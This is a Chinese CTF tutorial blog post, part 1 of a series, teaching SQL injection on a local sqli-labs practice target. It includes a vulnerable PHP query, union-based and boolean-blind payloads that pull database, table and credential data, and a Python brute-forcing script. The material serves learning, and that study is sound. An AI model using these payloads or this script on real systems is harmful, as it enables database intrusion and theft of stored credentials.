前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEB系列(1)—SQL注入(上)

WEB系列(1)—SQL注入(上)

作者头像
山深有杏
发布2024-01-30 14:36:06
2220
发布2024-01-30 14:36:06
举报
文章被收录于专栏:CTF新手教程

开新坑啦,从今天起,web和pwn都会不定时更新~

0x00 什么是SQL注入

是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

当客户端提交的数据未做处理或转义直接带入数据库就造成了Sql注入。

0x01 数据库

1)什么是数据库

数据库,简而言之可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据进行新增、查询、更新、删除等操作。

2)数据库种类
  • Access:Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
  • Mssql:是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。
  • MySQL:是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。
  • Oracle:Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。

0x02 SQL注入原理

1)网站和网页的区别

单纯的网页是静态的,html就是静态的,一些简单的网站(如某些引导页)只有网页和网页之间的跳转。而网站是动态的,是一个整体性的web应用程序,几乎所有的网站都要用到数据库。数据库我们怎么利用呢?例如某些博客站,cms站点。它的文章并不是存在网站目录里的,而是存在数据库里的,例如某些cms是通过后缀?id=321来调用数据库内的文章内容。此时便是向数据库传递变量为ID值为321请求,而数据库会响应并查询我们的请求。

原理:具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2)举个栗子
代码语言:javascript
复制
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>
3)详细分析

首先,我们先看php文件中参数传递语句和sql查询语句:

代码语言:javascript
复制
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们可以看到,文件获取了我们传入的get参数,将其传递到sql查询语句中

比如我们传递id=1,那么对应的sql查询语句则为:

代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

若我们传入id=1′ and 1=1 —

我们的sql查询语句就变成了:

代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1";

这样也是可以正常查询数据的

在传参的时候,先用一个单引号闭合前面的单引号,并在语句的最后加上–将后面的语句注释掉

这样就构成了sql注入

0x03 Mysql注入

Mysql数据库是我们在工作和比赛中最常见的数据库。

1)判断注入点

我们在进行注入前,需要先判断目标站点是否存在可注入点,以及存在注入的类型。

简单判断
代码语言:javascript
复制
?id=1'
?id=1' and 1=1 --+
?id=1" and 1=1 --+
?id=1') and 1=1 --+
?id=1 and 1=1 --+
?id=1") and 1=1 --+

判断原理很简单,就是看被注入的系统是否会将我们输入的and 1=1带入数据库进行查询。我们可以调整后面带入查询的语句来判断是否存在注入。

例:(这里使用sqli-labs-master靶场进行演示)

我们先访问靶场:http://10.211.55.4/sqli-labs-master/Less-1/?id=1

然后输入一个单引号,http://10.211.55.4/sqli-labs-master/Less-1/?id=1′

页面出现了错误提示,这里可能有同学会发现,我们之前输入的单引号变成了%27,这是因为浏览器对符号进行了URL编码,为了解决这个问题以及方便我们后续进行注入,我们可以安装一个浏览器插件:HackBar

我这里用的浏览器是Chrome内核的Edge,可以安装Chrome插件。具体插件安装方法这里不去赘述,大家不会的可以戳☞百度一下

插件安装完后按F12,选择HackBar即可

然后我们点击左侧的LOAD按钮即可将当前浏览器页面的URL载入到HackBar。

我们返回来继续看栗子🌰,先看一下报错信息。

代码语言:javascript
复制
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

报错说我们有SQL语法错误,我们主要看最后面这里

代码语言:javascript
复制
near ''1'' LIMIT 0,1' at line 1

除去前后两个单引号,中间标记颜色的就是SQL语句的内容,我们看到1后面有两个单引号,这就是报错的原因,我们可以根据这个猜测一下原始查询语句

代码语言:javascript
复制
SELECT * FROM xxxx WHERE id='$id' LIMIT 0,1

当我们输入?id=1’时,$id=1′ ,和上面语句拼接就得到了

代码语言:javascript
复制
SELECT * FROM xxxx WHERE id='1'' LIMIT 0,1

语句中多了一个单引号,所以报错了。这时我们继续输入?id=1′ and 1=1 –+

这里的–+是注释符,加号在传入数据库前会被转换成空格。

拼接后得到如下语句

代码语言:javascript
复制
SELECT * FROM xxxx WHERE id='1' and 1=1 -- ' LIMIT 0,1

‘ LIMIT 0,1被–注释掉,因此实际带入到数据库中查询的语句只有:

代码语言:javascript
复制
SELECT * FROM xxxx WHERE id='1' and 1=1

我们测试一下

页面返回正常,那么我们将1=1改成1=2再测试一下

页面没有返回任何内容,也就是说我们构造的语句成功带入到数据库中进行查询了

2)联合注入

联合注入是sql注入中最简单的注入方式,不过也有限制条件,就是页面上要有显示位。

什么是显示位

在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位。

联合注入流程
  1. 判断注入点&注入类型
  2. 判断字段数
  3. 判断显示位
  4. 查询表名
  5. 查询列名
  6. 查询字段内容
判断字段数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,以此类推。

字段也就是数据表中的列。

我们输入?id=1′ order by 1 –+ 页面正常

然后输入?id=1′ order by 2 –+,直到页面报错或者不显示内容

输入到4的时候,页面报错,也就是说字段数是3

判断显示位

知道了字段数我们就可以继续注入了,接下来是判断显示位。

判断显示位我们使用以下语句

代码语言:javascript
复制
?id=-1' union select 1,2,3 --+

这里需要注意的是,id的参数为-1,因为数据库中,id=-1是没有任何内容的,如果id=1,查询出的内容就会显示在显示位上,这样我们就无法判断哪个字段拥有显示位。

我们执行语句,可以看到字段2和3存在显示位,那么我们就可以利用这两个显示位来显示我们需要查询的内容。

查询表名

在查询表名之前我们先看一下数据库名,我们利用mysql自带函数database()来查询

查询语句如下:

代码语言:javascript
复制
?id=-1' union select 1,database(),3 --+

执行语句后,原来显示2的显示位现在显示出数据库名:security

接下来就是查询表名了,Mysql 5.0以上版本会有一个information_schema的数据库,里面存放了所有数据库的表和字段关系,我们可以利用这个数据库来查询security数据库的表名和字段名。

查询表名语句如下

代码语言:javascript
复制
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

执行语句测试一下

这里我将语句拆分一下给大家讲解,首先先看这里

代码语言:javascript
复制
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

这个table_name和table_schema可不是瞎写的,table_name和table_schema是information_schema数据库中tables表中的字段。table_schema存放的是数据库名,table_name存放的是相对应的表名

这里打开数据库给大家看一下

代码语言:javascript
复制
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

information_schema.tables表示查询information_schema数据库的tables表

代码语言:javascript
复制
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

limit 0,1 表示从第0行开始,显示1行,limit 1,1 就是从第1行开始显示1行

这样大家就能比较直观的看懂了

查询字段名

查完表名我们就可以查询字段名了

查询语句如下:

代码语言:javascript
复制
?id=-1' union select 1,column_name,3 from information_schema.columns where table_name='admin_user' limit 0,1 --+

这里column_name和table_name都是information_schema.columns表中的字段,和上面一样。admin_user是上面查表名查到的。

我们将所有字段都查询出来,得到Id,user,pass三个字段

查询字段内容

最后来查询字段内容,直接用简单的查询语句即可

代码语言:javascript
复制
?id=-1' union select 1,user,pass from admin_user limit 0,1 --+
3)布尔注入

接下来讲解一下布尔注入,当页面没有显示位时,我们就需要用到布尔注入,注入步骤和联合注入差不多

这里需要给大家介绍几个函数:

  • mid(str,1,3) :字符串截取,表示从第一个字符开始截取,截取到第三个
  • ORD(str) :将字符转换成ascii码
  • Length(str) :统计字符串长度

布尔是一种数据类型,只会返回0,1代表错误和正确。布尔注入就是通过判断页面返回正确或错误来进行注入的一种方式。

我们先来测试一下

代码语言:javascript
复制
?id=1

页面显示You are in,表示页面正常显示

输入?id=1′

页面没有回显,表示页面错误

爆数据库名

先简单判断一下数据库名的长度

代码语言:javascript
复制
?id=-1' or length(database()) > 7 --+

返回正确,我们继续

代码语言:javascript
复制
?id=-1' or length(database()) > 8 --+

返回错误,也就是说数据库名的长度为8

接下来我们爆一下数据库名

代码语言:javascript
复制
?id=-1' or mid(database(),1,1) = 'a' --+

返回错误,继续测,直到页面返回正确

代码语言:javascript
复制
?id=-1' or mid(database(),1,1) = 's' --+

当我们测到s的时候,页面返回正确,那么数据库第一位就是s

以此类推,可以把整个数据库名都爆出来

不过这样爆的话,每位都要测试很多次,我们可以采用二分法用ascii码来进行注入

代码语言:javascript
复制
?id=-1' or ORD(mid(database(),1,1)) > 100 --+

先测试数据库名第一位的ascii码值是否大于100

代码语言:javascript
复制
?id=-1' or ORD(mid(database(),1,1)) > 200 --+

再测试是否大于200,若不大于,测试是否大于150

?id=-1′ or ORD(mid(database(),1,1))>100 –+

正确

?id=-1′ or ORD(mid(database(),1,1))>200 –+

报错

?id=-1′ or ORD(mid(database(),1,1))>150 –+

报错

?id=-1′ or ORD(mid(database(),1,1))>125 –+

报错

?id=-1′ or ORD(mid(database(),1,1))>115 –+

报错

?id=-1′ or ORD(mid(database(),1,1))>114 –+

正确

?id=-1′ or ORD(mid(database(),1,1))=115 –+

正确

就是这样,换算一下ascii码就能得到对应的字符

爆表名

和前面的联合注入很相似,只不过加了函数

依旧是两种方式,可以直接猜测字符,也可以利用二分法去爆ascii码

先看看长度

?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 1 –+

正确

?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 10 –+

报错

?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 5 –+

正确

?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 7 –+

报错

?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 6 –+

报错

?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) = 6 –+

正确

利用二分法爆ascii码

?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 100 –+

正确

?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 200 –+

报错

?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 150 –+

报错

?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 125 –+

报错

?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 110 –+

报错

?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 101 –+

报错

?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) = 101 –+

正确

直接爆字符

?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘a’ –+

报错

?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘b’ –+

报错

?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘c’ –+

报错

?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘d’ –+

报错

?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘e’ –+

正确

爆字段名和爆内容

这里就不多bb了,和上面一下,稍微改一下就行

脚本爆破

这里着重讲一下,大家看到这里可能会发现,布尔注入很麻烦,每个字符都要执行好多语句,那么我们可以利用python脚本来帮我们跑,只需要编写好特定的语句即可。

代码语言:javascript
复制
import requests
import time
import re

url = "http://10.211.55.4/sqli-labs-master/Less-8/?id="
sqllist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

def getKey():
    result = ''
    for j in range(1,40):
        for i in sqllist:
            time.sleep(0.1)
            payload = "-1' or mid(database(),%d"%j + ",1)=" + "'" + i + "' --+"
            data = url + payload
            response = requests.get(data)
            if 'You' in response.text:
                result += i
                print(result)
                break
            #print(payload)
    print(result)
getKey()

爆破表、字段和内容只需要稍微修改脚本即可。

盲注、堆叠注入、报错注入等其他注入方式留在下篇讲~

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 什么是SQL注入
  • 0x01 数据库
    • 1)什么是数据库
      • 2)数据库种类
      • 0x02 SQL注入原理
        • 1)网站和网页的区别
          • 2)举个栗子
            • 3)详细分析
            • 0x03 Mysql注入
              • 1)判断注入点
                • 简单判断
              • 2)联合注入
                • 什么是显示位
                • 联合注入流程
                • 判断字段数
                • 判断显示位
                • 查询表名
                • 查询字段名
                • 查询字段内容
              • 3)布尔注入
                • 爆数据库名
                • 爆表名
                • 爆字段名和爆内容
                • 脚本爆破
            相关产品与服务
            数据库
            云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档